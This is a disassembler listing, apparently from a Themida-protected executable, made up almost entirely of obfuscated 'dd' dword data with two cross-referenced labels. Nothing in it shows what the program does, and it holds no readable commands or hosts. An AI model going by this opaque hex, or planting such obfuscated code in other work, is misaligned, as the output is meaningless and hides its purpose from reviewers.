		dd 5DDBC355h, 3953C55Fh, 2AE38166h, 20508964h, 1DAD9D89h
		dd 0BF0F0637h, 0D5858DFAh, 6A063AC5h, 3E85700h,	20000000h
		dd 895FC35Fh, 8104247Ch, 18042444h, 47000000h, 7CC4C357h
		dd 89A230DEh, 0B886h, 819D8B00h, 6A063704h, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1904h, 0C3554500h
		dd 0CD6C1074h, 0BD8B0F05h, 63725CDh, 1D499D8Bh,	0B5FF0637h
		dd 63AB15Bh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 19h,	11C35343h, 9339E5D9h, 11800F4Ah, 0E9000000h, 0Ch
		dd 623F18E2h, 0A03ACC91h, 13BE62FAh, 0BB995FFh,	6A0637h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h
		dd 0EBCBB5C3h, 0BDF8562h, 531CD89Fh, 12D99D89h,	505F0637h
		dd 34895B52h, 76C78124h, 0FF471CE3h, 3AB15BB5h,	51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1504h, 0C3514100h
		dd 0FB8B654Eh, 4D95FFFCh, 6A06372Eh, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 15042444h, 41000000h, 7967C351h
		dd 0BD83D88Ah, 63719E9h, 73840F00h, 6A000000h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h
		dd 0EC5FC357h, 0E98691FCh, 14h,	0A957F6B4h, 82E5A860h
		dd 0E67E04E3h, 330EBE97h, 0EC5DD68Fh, 519D8951h, 5B06372Bh
		dd 0BB525050h, 39B4E2F6h, 0F0BF310Fh, 5A6F74F4h, 24348958h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 95C35545h
		dd 0B5FF48ADh, 63AB15Bh, 2965B529h, 95FF0637h, 63709ADh
		dd 0B5FFF88Bh, 63AB15Bh, 0E857006Ah, 3,	5FC35F20h, 4247C89h
		dd 4244481h, 1Ch, 0DBC35747h, 452F7B02h, 237F3031h, 0AE9h
		dd 0BF5E0300h, 72997FA6h, 0FFC36ED5h, 370B7595h, 0A9BD8B06h
		dd 83063728h, 370409BDh, 840F0206h, 44h, 0E852006Ah, 3
		dd 5AC35A20h, 4245489h,	4244481h, 1Dh, 2DC35242h, 0FB275666h
		dd 308E5F40h, 0CFCB81F2h, 8916071Eh, 370BB5BDh,	71858B06h
		dd 66063711h, 0C60462BBh, 0B5890000h, 63717B5h,	31D585C7h
		dd 637h, 6E90000h, 0A5000000h, 1B051D9h, 0F2D7E9CAh, 0EF80FFFFh
		dd 6AC18BAFh, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1D042444h, 42000000h, 0DFDBC352h, 41292981h,	0A16FA8AAh
		dd 885858Dh, 6A0637h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 160424h, 55450000h, 658103C3h, 99B52960h, 8B063720h
		dd 37060D8Dh, 0F506106h, 0E81h,	9E900h,	3C970000h, 0F2D0E058h
		dd 89A8F2B5h, 0F502404h, 689h, 81B58900h, 5B06371Eh, 6A006Ah
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h
		dd 41BA71C3h, 81EFBD5h,	6A006A05h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 17042444h, 46000000h, 3B3FC356h
		dd 9604E22h, 371EED95h,	0C9ACB806h, 8D617BFDh, 3B55EA85h
		dd 0AE906h, 0EBC00000h,	7D02BD81h, 14D5602Ch, 2DC5BD8Bh
		dd 0C0830637h, 53006A05h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1904h, 0C3534300h, 841C17ABh, 0BF901FD3h
		dd 54497729h, 52506050h, 310FBCB2h, 8C0Fh, 585A0000h, 0F948DCBFh
		dd 6690617Bh, 6AF6BEBFh, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1B04h, 0C3564600h, 0D5A5E59Dh, 529C8447h
		dd 6AD98Bh, 0E855006Ah,	3, 5DC35D20h, 4246C89h,	4244481h
		dd 1Dh,	14C35545h, 95772712h, 0A82B8E28h, 0ED95FF86h, 6A06370Ah
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 18042444h
		dd 41000000h, 7488C351h, 66F5EE91h, 8D9B39BFh, 3AA1358Dh
		dd 4C08BB06h, 0D1FF74BFh, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 18h, 89C35242h, 0FAFAC8C3h, 83DF8B66h, 37089DBDh
		dd 850F0106h, 45h, 405BD89h, 26A0637h, 29519D03h, 0E9500637h
		dd 14h,	0E2BC208Eh, 9ACB3AFh, 12E86F39h, 503ADC53h, 21215D1Dh
		dd 0F240489h, 95FFD9BFh, 6370BB9h, 5E8h, 1BC8EA00h, 0BD8B8578h
		dd 6372E41h, 0E72E95Fh,	0E80000h, 5D000000h, 55F4ED81h
		dd 0BD8B063Bh, 6371965h, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 16h, 33C35141h, 8A0FCC7Fh,	3, 89FBBF0Fh, 3705198Dh
		dd 0C3858D06h, 6A063A84h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1B042444h, 42000000h, 5018C352h, 0F6DB88ABh
		dd 0BD895C0Ch, 6371A41h, 52506090h
		dd 5E8h, 4BF35500h, 0F5892C8h, 0E9585A31h, 14h,	0B4677A2Ch
		dd 0D512A2EEh, 76430E8Eh, 2F5C8816h, 45C2F9Ch, 0D98B5061h
		dd 53006A90h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1A04h
		dd 0C3534300h, 1272845Dh, 605B0F85h, 1E199589h,	85890637h
		dd 63722B5h, 0FF64F861h, 35h, 57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1C04h,	0C3574700h, 0A33EB3E1h
		dd 1D36808Bh, 999D8B13h, 64063730h, 2589h, 6A0000h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h
		dd 0F8B500C3h, 0ADA26B41h, 658D891Fh, 0F06370Ah, 187h
		dd 85FFF900h, 6372A7Dh,	320CBB66h, 0D15BD8Bh, 0FF6A0637h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 0C35545h
		dd 0E6EEB078h, 8D891F47h, 6371285h, 309DB5FFh, 0D88B0637h
		dd 0ED95FFh, 3BE90637h,	80000001h, 0B027F3h, 3860Fh, 0F8530000h
		dd 6670E65Bh, 789FD781h, 110DB589h, 71E40637h, 20B5BD29h
		dd 613C0637h, 110830Fh,	0BF0F0000h, 0C8B60FDFh,	0AF1B509h
		dd 6BA0637h, 0E9000000h, 0Ah, 0A9CE6E66h, 8E59BA19h, 0C18B72CAh
		dd 9E8h, 0D786BB00h, 0FD9A3647h, 0F98B0306h, 4E8C15Bh
		dd 66F9BF0Fh, 14E9E2F7h, 0BB000000h, 81227403h,	0A54F4796h
		dd 41C3D0F7h, 59BC8DBCh, 2B7174A8h, 49B529C8h, 8B06370Fh
		dd 5870FD1h, 0BF000000h, 77470654h, 16850Fh, 0EE80000h
		dd 0EB000000h, 75EAA7F8h, 79DCA871h, 0B92B255Dh, 5F5F53DAh
		dd 6E9h, 0FD958900h, 8B06371Bh,	3721F585h, 89DF8B06h, 3719E585h
		dd 7C08306h, 29898D31h,	0C0830637h, 3B60B700h, 25830FD0h
		dd 0E8000000h, 11h, 0F76AAEE5h,	3ED6BEAFh, 81564868h, 76340042h
		dd 0F0F38001h, 3CE95Bh,	95890000h, 6371325h, 31E18D8Bh
		dd 840F0637h, 6, 22418589h, 0E1830637h,	1B840F01h, 23000000h
		dd 372F819Dh, 0A583FC06h, 63731E1h, 0F59589FEh,	0B7063721h
		dd 0E939h, 0B58D0000h, 63AE20Bh, 0E850006Ah, 3,	58C35820h
		dd 4244489h, 4244481h, 1Ah, 0BBC35040h,	0B7BF75A0h, 0F60D285h
		dd 587h, 0C53DBF00h, 0CE9045Eh,	0C8000000h, 894D8B8Eh
		dd 736DD12Ah, 6145480Dh, 6E8h, 0F1313400h, 2928A61Eh, 370515BDh
		dd 6A5F06h, 0FFF98B66h,	37321995h, 15CB8006h, 915B9h, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1604h, 0C3564600h
		dd 8B19113Bh, 3719ADBDh, 0FCE18306h, 0B2C5F781h, 0E9FC5C75h
		dd 14h,	0DEE24596h, 0CEBB2C5Eh,	0CCE2736Ch, 0E7A7ABDDh
		dd 0BB54DF48h, 6AC02Bh,	3E855h,	5D200000h, 6C895DC3h, 44810424h
		dd 180424h, 55450000h
		db 0C3h, 0CCh, 0A9h
byte_5825CF	db 1Fh			; DATA XREF: Themida_:0053F504o
		dd 810FF959h, 0Ch, 6880Fh, 0BD8B0000h, 6373225h, 0BAh
		dd 2E840F00h, 0E8000000h, 11h, 20C96B46h, 471F7761h, 76C0FA0Eh
		dd 629C74C5h, 12E980h, 0F45B0000h, 26561795h, 0D0700B22h
		dd 7DFDFBE2h, 48EFA20Dh, 0F185895Fh, 0AD063706h, 0E8D1C233h
		dd 0E983D003h, 60F47504h, 38F0Fh, 0C0800000h, 6E9CAh, 48D20000h
		dd 194BE240h, 0DF816661h, 880D8DCEh, 6A000000h,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 17042444h, 40000000h
		dd 0CEA9C350h, 0B70F13F2h, 75958BF8h, 6A063718h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 16042444h, 40000000h
		dd 64A1C350h, 7E9F3h, 0C7ED0000h, 5D16051Ah, 958D8BACh
		dd 0F063711h, 8B50F9B7h, 3188BC2h, 8B188BC1h, 3E8D1C1h
		dd 58188BC2h, 870F5253h, 0
		dd 6A5F5Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h
		dd 56460000h, 21AB2C3h,	5A8E6984h, 49BD8B8Dh, 83063718h
		dd 372D55BDh, 840F0006h, 82h, 2BB9BD89h, 880F0637h, 3
		dd 0B8FED380h, 0
		dd 23199529h, 0BB660637h, 8D8D0D3Dh, 6374E2Bh, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 0C4C35747h, 8E8FDB9Fh
		dd 8D0160E0h, 6373029h,	6810Fh,	85310000h, 63713CDh, 0A9B58961h
		dd 0FF06370Bh, 56006AE1h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1804h, 0C3564600h, 0F156F844h, 0BD83FC35h
		dd 6370F81h, 50840F00h,	60000004h, 1D31B58Bh, 0F78B0637h
		dd 81BD8361h, 106370Fh,	454840Fh, 9E80000h, 0BB000000h
		dd 0A91A63A6h, 0ECA9BB6Dh, 1801BD8Bh, 835B0637h, 370F81BDh
		dd 860F0306h, 3FCh, 0E850006Ah,	3, 58C35820h, 4244489h
		dd 4244481h, 17h, 5DC35040h, 603AD8EDh,	0E853006Ah, 3
		dd 5BC35B20h, 4245C89h,	4244481h, 15h, 0DAC35343h, 13E94Fh
		dd 87E0000h, 304822E5h,	5B11ED6Ch, 0DA0F1E18h, 0B9DD3A83h
		dd 0D98C6694h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Ch,	91C35141h, 0CD24E362h, 0CA6D7E2Dh, 0E9F8B70Fh
		dd 14h,	0A31E6446h, 3B352F2Bh, 5D7E9DE0h, 0A1A795C4h, 0BA526115h
		dd 104E180h, 3719B99Dh,	11BD8B06h, 0A063706h, 840FC9h
		dd 6A000001h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1B042444h, 41000000h, 0A080C351h, 810E9CC0h,	858B9BCAh
		dd 6372F45h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Ch,	61C35747h, 0EDB43C13h, 247C8A89h, 13018533h, 6A0637h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h
		dd 0C3134EC3h, 513389Ah, 81FE1935h, 37A76ED7h, 0DB75066h
		dd 0F5240489h, 0B589006Ah, 6371821h, 18DD5C68h,	81FA8A30h
		dd 0DEA32434h, 6A3007h,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 160424h, 53430000h, 0FAB024C3h, 2B2595FFh, 6A0637h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h
		dd 402B26C3h, 0FAF6E1AFh, 89CAA718h, 3AB15B85h,	472DBB06h
		dd 0DEE914E0h, 0F000001h, 687h,	0C9BD8B00h, 8B063721h
		dd 3AB15385h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1A04h, 0C3554500h, 3A0F7EBFh, 89597E81h, 3722A5BDh
		dd 1800C706h, 6A000000h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 17042444h, 43000000h, 34AC353h, 9D8B9075h
		dd 63713E9h, 0B157B58Bh, 6A063Ah, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 170424h, 50400000h, 0DCC3FDC3h, 89BD890Ah
		dd 8B063723h, 370D8D85h, 0BE906h, 0FDC20000h, 5C1114BEh
		dd 0D704DAC6h, 660689A5h, 0F4A5EB81h, 2F45858Bh, 0FE80637h
		dd 0D4000000h, 33B05346h, 0B02BB609h, 0F3AB695Bh, 81669DC1h
		dd 5F4D47F7h, 23ADBD8Bh, 46890637h, 0EFDF8004h,	59B89EBBh
		dd 0BBBF505Fh, 895CAC27h, 0EF802434h, 53B5FFB7h, 8B063AB1h
		dd 371A8D9Dh, 0AE906h, 0DBA10000h, 75D07939h, 4D47346Fh
		dd 2794068h, 2434816Bh,	6B1D7ABFh, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Dh, 25C35141h, 0E2AB729Fh, 3FB6E514h
		dd 0EE96070h, 0EC000000h, 0CE11F616h, 0E4DBE6EAh, 0A0F5C00Fh
		dd 0D9D892Fh, 6106372Ah, 2A499D0Bh, 858D0637h, 63AB15Bh
		dd 7F9BD0Bh, 89500637h,	6A2404h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 150424h, 50400000h, 0FFCB5FC3h, 372B2595h
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1C04h
		dd 0C3564600h, 4C526BD1h, 35616EE3h, 8E8DDh, 17EE0000h
		dd 0DA0120A9h, 95890785h, 63705F5h, 85BD2B5Fh, 0F063728h
		dd 108Dh, 0BE900h, 29410000h, 1E310BE9h, 0AE9AC166h, 6A6191h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h
		dd 5E0C38C3h, 8BCA4D32h, 371331BDh, 8185C706h, 306370Fh
		dd 6A000000h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 18042444h, 46000000h, 7137C356h, 9EAEA7Ah, 372AB19Dh
		dd 0F6DF8006h, 0B15BBD83h, 0F00063Ah, 1384h, 0DABF0F00h
		dd 26E9h, 95895600h, 6370FB9h, 0DF8B665Bh, 110C3050h, 1114400h
		dd 3010E8C1h, 21144h, 5803114Ch, 7504E983h, 5036EBE7h
		dd 110430h, 0C1011164h,	443010E8h, 64000211h, 83580311h
		dd 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h, 28580211h
		dd 30011164h, 0E9831104h, 0EBE77504h, 6AC08B00h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h
		dd 6ACDC350h, 0E3DF2D14h, 8145BF53h, 8BDEBF0Fh,	3723499Dh
		dd 81BD8306h, 306370Fh,	449850Fh, 0BD8B0000h, 6372871h
		dd 68B0Fh, 9D890000h, 6371A31h,	0B15BBD83h, 0F00063Ah
		dd 42A84h, 8B665300h, 0B5FF5FFAh, 63AB15Bh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 9DC35242h, 0D7F3A15Dh
		dd 0E1BA11CAh, 0D9BD099Bh, 0FF063704h, 37335D95h, 51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1C04h, 0C3514100h
		dd 0CB06F576h, 4E6BCDA2h, 0F6BF666Dh, 4FB58B04h, 6A063AB1h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1D042444h
		dd 47000000h, 0F6AEC357h, 0F85A6B99h, 0AC72869Ch, 80FB8B66h
		dd 10E84AD7h, 0F1000000h, 2E96C670h, 7851D166h,	0B32FD9EBh
		dd 5F663E2Ch, 106C7h, 6A0001h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 180424h, 55450000h, 5C6220C3h, 0B7965B89h
		dd 8B665074h, 0B5FF96F9h, 63AB15Bh, 0E855006Ah,	3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Dh, 0A3C35545h,	0CAA42196h, 4E81AAA0h
		dd 3D95FFABh, 80063718h, 0B58B61EFh, 63AB14Fh, 0D418D89h
		dd 858B0637h, 63705B5h,	8689F88Bh, 0C4h, 0CE8h,	1BE3A700h
		dd 39DBA1B5h, 6F75D079h, 0A1850934h, 5F063705h,	1875958Bh
		dd 0F8600637h, 9E8h, 0E4EB7500h, 73BE425Fh, 7E97414h, 7F000000h
		dd 0CB0C33C5h, 6158BA60h, 6A04C283h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 18042444h, 45000000h, 5ECFC355h
		dd 0E99559D3h, 8, 0A6418DABh, 410E5CD9h, 6A205089h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h
		dd 0A63CC356h, 800F3CEEh, 5, 0C8EDE5BBh, 0D5858D2Ah, 6A063AC5h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 19042444h
		dd 46000000h, 0BCD3C356h, 40CF3EA7h, 0A40C26BFh, 0E0E3816Dh
		dd 893D2357h, 0B886h, 50006A00h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1A04h, 0C3504000h, 1C31F989h, 89EE825Eh
		dd 370BBDB5h, 6A006A06h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 14042444h, 45000000h, 29D9C355h, 371CD18Dh
		dd 65BD8906h, 0FF06370Fh, 3AB15BB5h, 0B8666006h, 953116E3h
		dd 63721E5h, 0B995FF61h, 6A06370Bh, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 19042444h, 46000000h, 88B3C356h
		dd 0D85EB253h, 2870Fh, 0FC8A0000h, 9327BB50h, 34895CD0h
		dd 0A2E78124h, 0FF71C430h, 3AB15BB5h, 51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1A04h, 0C3514100h
		dd 0C8CF36A2h, 602FBEC6h, 208DBD89h, 0E9610637h, 0Dh, 40120F46h
		dd 4730E94Ch, 0E8FA6679h, 4D95FFF7h, 6A06372Eh,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 18042444h, 40000000h
		dd 0A75BC350h, 0FAF2057h, 28Ch,	83FA8B00h, 3719E9BDh, 840F0006h
		dd 35h,	0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh
		dd 59C35747h, 6C64FC31h, 6D3BA0C1h, 0FB8B6605h,	1D1B589h
		dd 0B7500637h, 2434894Fh, 5BB5FFF5h, 6A063AB1h,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 15042444h, 42000000h
		dd 75DFC352h, 1718D09h,	95FF0637h, 63709ADh, 0B15BB5FFh
		dd 6051063Ah, 830Fh, 0BD2B0000h, 6372205h, 95FF5B61h, 6370B75h
		dd 15830Fh, 10E90000h, 0F000000h, 2290E1C1h, 0B2DFB645h
		dd 1F702072h, 83AE4386h, 370409BDh, 840F0206h, 31h, 0F999589h
		dd 0E8600637h, 9, 2510238Bh, 36E31460h,	198D89CEh, 5E063712h
		dd 71858B61h, 66063711h, 6537C781h, 8B0000C6h, 370BE9BDh
		dd 0D585C706h, 63731h, 6A000000h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1C042444h, 42000000h, 0A877C352h
		dd 0D1B34292h, 0F2E9134h, 68Bh,	0E5B50900h, 0E9063707h
		dd 0FFFFF2EAh, 1D05B589h, 9D8B0637h, 6372365h, 0B589C18Bh
		dd 637103Dh
dword_5830B0	dd 885858Dh, 0BF0F0637h, 859D89FFh, 5006372Dh, 489DF8Bh
					; DATA XREF: Themida_:0053D5F0o
		dd 53006A24h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1404h
		dd 0C3534300h, 0F1B58902h, 6A06370Fh, 53006A00h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1804h, 0C3534300h
		dd 0A1418EDEh, 7187BB2Fh, 6A0FEFh, 195D9589h, 858D0637h
		dd 63B661Dh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 15h,	11C35242h, 4185294Fh, 8306370Ah, 0DB8105C0h, 1D2DE070h
		dd 13E990h, 0FD20000h, 46ED8BEEh, 7D1FED9Ah, 0F8677EE7h
		dd 79A88463h, 6A905011h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 19042444h, 41000000h, 31BAC351h, 13CAE9Fh
		dd 6A006Ah, 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h
		dd 50400000h, 0C2E97EC3h, 9DAA44A6h, 6ACE9DB0h,	0ED95FF00h
		dd 6A06370Ah, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 15042444h, 40000000h, 0BCE2C350h, 12359D0Bh,	0BB660637h
		dd 8D8D0484h, 63AA135h,	136D9501h, 0D1FF0637h, 0BD83FB8Bh
		dd 637089Dh, 75850F01h,	8B000000h, 372939BDh, 358D8906h
		dd 6A06370Ah, 56006A02h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1C04h, 0C3564600h, 0C819B733h, 0C8E0A0E0h, 0BBF6691h
		dd 0D88B669Bh, 505F5690h, 0CE8h, 0CD317800h, 8C5C7778h
		dd 0CE23C96Ch, 28F0F04h, 56000000h, 0FF905F5Bh,	370BB995h
		dd 10E806h, 6E180000h, 0C30D0488h, 69D3AE2Ch, 0E9EF4973h
		dd 5BFC6A41h, 0D04E9h, 0E800h, 815D0000h, 3B6627EDh, 0FB8B6606h
		dd 65ABF66h, 68E0Fh, 0BD310000h, 637251Dh, 84C3858Dh, 0E850063Ah
		dd 11h,	0AEBC0CD6h, 38BFD0E3h, 82E380FEh, 0FDAAA401h, 5E996h
		dd 7890000h, 5F77BBE3h,	0B3240489h, 35FF64D2h, 0
		dd 1A018D31h, 89640637h, 25h, 6E900h, 11EF0000h, 6ACCE1E5h
		dd 8880Fh, 0F560000h, 81h, 85FF5B00h, 6372A7Dh,	3E1468BFh
		dd 0FFF6A68h, 684h, 0BF665200h,	0FF5FB157h, 37209DB5h
		dd 52006A06h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1D04h
		dd 0C3524200h, 8ACDDBD5h, 0D11621D8h, 95894D21h, 6372F1Dh
		dd 0ED95FFh, 2AE90637h,	0E9000001h, 6, 3532564Bh, 0B017E0h
		dd 2DC5B589h, 70E60637h, 19619D8Bh, 71E40637h, 2E758D89h
		dd 613C0637h, 0FF830Fh,	0F520000h, 68Bh, 91858900h, 5B063728h
		dd 8BC8B60Fh, 6BADEh, 9D8B0000h, 6371401h, 820FC18Bh, 13h
		dd 7E8h, 274B6000h, 587A4F16h, 0A2DBD8Bh, 0C15F0637h, 0D38104E8h
		dd 5B16D205h, 0BBE2F766h, 7C37A68Ch, 9589C82Bh,	637113Dh
		dd 0F381D18Bh, 176F97ACh, 3E9h,	0FEBF0F00h, 1D0D858Bh
		dd 85890637h, 6372341h,	0BE8h, 602ADE00h, 107AD723h, 8800C672h
		dd 28F1BD8Bh, 835B0637h, 9D8907C0h, 63703F5h, 8900C083h
		dd 371375B5h, 0FD03B06h, 1D83h,	11C38000h, 58E9h, 10E900h
		dd 87F80000h, 0EBD625D6h, 274FF94Fh, 207CA66Ah,	8D8B479Ah
		dd 6371C8Dh, 7719D03h, 0E1830637h, 2E840F01h, 1000000h
		dd 37235D95h, 8DA58306h, 0FE06371Ch, 1810Fh, 0FF50000h
		dd 9589FFBFh, 6371D0Dh,	68C0Fh,	0C7810000h, 5D39D55Fh
		dd 0E9h, 5FB58D00h, 89063AEDh, 372DC58Dh, 6A006A06h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h
		dd 66A5C356h, 0FCF89BFh, 95FFDEBFh, 6373219h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 61C35242h, 0AA76BF2Eh
		dd 0FA1CA07h, 68Dh, 810F00h, 0B9000000h, 73Dh, 12E9h, 48A8ED00h
		dd 0E22E1A16h, 0B38B64F9h, 93BABB48h, 839B58DDh, 6AFCE1h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h
		dd 9D3834C3h, 0B58979C6h, 637204Dh, 10E8h, 0F518D800h
		dd 0CB5798E8h, 905E7ACDh, 92983D99h, 0A6E38112h, 5F4ED840h
		dd 0FCFB8B66h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 15h,	6BC35040h, 0E9C02B7Ah, 7, 0DE82EED4h, 8BEB187Eh
		dd 371D79BDh, 0BA06h, 5E90000h,	0B7000000h, 0BAA1B2FCh
		dd 0D1C233ADh, 83D003E8h, 0F47504E9h, 9F99BF66h, 13258D09h
		dd 880D0637h, 0F000000h, 687h, 5DB58900h, 8B063711h, 37187595h
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1D04h
		dd 0C3514100h, 3DDF4A3h, 34C62E36h, 60F983ECh, 0E3D08166h
		dd 51B58BE0h, 6106371Dh, 11958D8Bh, 6A0637h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 150424h, 53430000h, 5030CCC3h
		dd 188BC28Bh, 188BC103h, 0E8D1C18Bh, 188BC203h,	55006A58h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1804h, 0C3554500h
		dd 0FFE7A49Ch, 341CBF21h, 0B58906AAh, 63730FDh,	2D55BD83h
		dd 0F000637h, 6884h, 55006A00h,	3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1704h, 0C3554500h, 0A5F55F4Dh, 0B8h, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1404h, 0C3534300h
		dd 0A99D0B80h, 8D06371Bh, 374E2B8Dh, 0FE906h, 9700000h
		dd 56195DC5h, 0C361B420h, 0CFFDEDA0h, 89E1FF89h, 372541B5h
		dd 81BD8306h, 6370Fh, 419840Fh,	6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 160424h, 56460000h, 6DAFFCC3h
		dd 2D6DBF60h, 516031D9h, 820F5Fh, 61000000h, 6DBD8B61h
		dd 83063711h, 370F81BDh, 840F0106h, 3F2h, 0E853006Ah, 3
		dd 5BC35B20h, 4245C89h,	4244481h, 14h, 53C35343h, 0F81BD83h
		dd 0F030637h, 39386h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1404h, 0C3574700h, 6A608Ch, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 190424h, 56460000h, 99C0C3C3h
		dd 6679D0CDh, 6CFFEB81h, 29D98C66h, 3712859Dh, 4E18006h
		dd 0A99CB80h, 3840FC9h,	0E9000001h, 0Eh, 82AE8DC6h, 5DBB311Eh
		dd 0DDB787FFh, 858BF3D4h, 6372F45h, 33FEB70Fh, 37130185h
		dd 5557BB06h, 89501900h, 6A2404h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 140424h, 57470000h, 9D31F4C3h, 6372F39h
		dd 14E8h, 0D5D16200h, 0FB1CBCBh, 22CB86D7h, 0D12C9C3Eh
		dd 0FD93DA7Fh, 0D9BD2905h, 5B063705h, 870F006Ah, 6, 1FCDB501h
		dd 80680637h, 564F8241h, 12E85250h, 61000000h, 0CC6B65Ah
		dd 378A720Ch, 93EB3A99h, 0DDD2343Ch, 310F5B01h,	585AFC8Ah
		dd 2434815Fh, 4F9D427Fh, 2595FFF9h, 6A06372Bh, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 14042444h, 41000000h
		dd 8151C351h, 0ACDB1BDFh, 5B85897Ch, 6A063AB1h,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1C042444h, 45000000h
		dd 453DC355h, 0CE512F07h, 0E940B02Ah, 1C2h, 858BF88Bh
		dd 63AB153h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 19h,	63C35545h, 0AE77BAD7h, 1800C7A4h, 6A000000h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 17042444h, 47000000h
		dd 0BA19C357h, 95898E59h, 6372885h, 22698529h, 81660637h
		dd 8B8AE4DFh, 3AB157B5h, 99BD8906h, 8B063711h, 370D8D85h
		dd 0F99D8906h, 0F06370Ah, 689DFB7h, 0E853006Ah,	3, 5BC35B20h
		dd 4245C89h, 4244481h, 17h, 42C35343h, 0E986A146h, 11h
		dd 0AF7D97FBh, 80E25FC4h, 94BDCBE7h, 0C86CFD38h, 45858B7Dh
		dd 6606372Fh, 8958F0BFh, 0B5290446h, 63704F9h, 19E5BD8Bh
		dd 0F500637h, 289h, 89D98A00h, 0B70F2434h, 0B5FFF5FBh
		dd 63AB153h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 1Ch,	0F3C35242h, 9827AD3Ah, 0D087527Ch, 4E8h, 1F03FF00h
